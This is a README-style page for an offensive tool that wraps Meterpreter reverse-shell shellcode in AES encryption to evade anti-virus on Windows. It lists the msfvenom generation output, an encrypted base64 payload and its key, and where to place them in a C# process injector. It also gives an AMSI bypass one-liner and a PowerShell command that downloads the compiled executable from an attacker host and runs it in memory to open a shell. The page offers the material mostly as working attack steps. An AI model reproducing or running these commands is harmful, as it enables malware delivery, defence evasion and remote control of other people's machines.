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Shellcode-Encryptor - A Simple Shell Code Encryptor/Decryptor/Executor To Bypass Anti Virus


A simple shell code encryptor/decryptor/executor to bypass anti virus.

Note: I have completely redone the work flow for creating the bypass, I have found injecting the binary into memory using PowerShell as the most effective method.


Purpose

To generate a .Net binary containing base64 encoded, AES encrypted shellcode that will execute on a Windows target, bypassing anti-virus.

Instructions

Use the meterpreter_encryptor.py to create the encrypted base64 shellcode:

[email protected]:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.1   68.1.228 -l 443 -f b64[+] Generating MSFVENOM payload...[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload[-] No arch selected, selecting arch: x64 from the payloadFound 1 compatible encodersAttempting to encode payload with 1 iterations of x64/xor_dynamicx64/xor_dynamic succeeded with size 667 (iteration=0)x64/xor_dynamic chosen with final size 667Payload size: 667 bytesSaved as: ./msf.bin[+] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec...[+] Base64 output:sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuL   mkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg

Take the key and shellcode and insert it into ProcessInjector.cs

// decrypt the base64 payloadstring payload = "sZkMii [etc...]";string key = "fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec";

Compile the C# code into an executable (e.g., metInject.exe) and serve it via a web server.

Inject the executable into a remote PowerShell process:

# AMSI bypass$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like "*iutils") {$c = $b}};$d = $c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*itFailed") {$f = $e}};$f.SetValue($null,$true)$bytes = (Invoke-WebRequest "http://192.168.1.228/metInject.exe").Content;$assembly = [System.Reflection.Assembly]::Load($bytes);$entryPointMethod = $assembly.GetType('ProcessInjection.Program', [Reflection.BindingFlags] 'Public, NonPublic').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic');$entryPointMethod.Invoke($null, (, [string[]] ('', '')));

Hopefully you will have a nice meterpreter shell.

Help

msfconsole is listening on. -i LHOST, --lhost LHOST The local host that msfconsole is listening on. -p PAYLOAD, --payload PAYLOAD The payload to generate in msfvenom. -m METHOD, --method METHOD The method to use: thread/delegate. -k KEY, --key KEY The encryption key (32 chars). -e ENCODER, --encoder ENCODER The meterpreter encoder. -f FORMAT, --format FORMAT The format to output.">
./meterpreter_encryptor.py -h                                                                     usage: meterpreter_encryptor.py [-h] [-l LPORT] [-i LHOST] [-p PAYLOAD] [-m METHOD] [-k KEY] [-e ENCODER] [-f FORMAT]optional arguments:  -h, --help            show this help message and exit  -l LPORT, --lport LPORT                        The local port that msfconsole is listening on.  -i LHOST, --lhost LHOST                        The local host that msfconsole is listening on.  -p PAYLOAD, --payload PAYLOAD                        The payload to generate in msfvenom.  -m METHOD, --method METHOD                        The method to use: thread/delegate.  -k KEY, --key KEY     The encryption key (32 chars).  -e ENCODER, --encoder ENCODER                        The meterpreter encoder.  -f FORMAT, --format FORMAT                        The form   at to output.

AV Scan Results

The binary was scanned using antiscan.me on 03/10/2021.


Notes

Tested with windows/x64/meterpreter/reverse_https on Windows 10 Pro (build 10.0.19042) with Defender.



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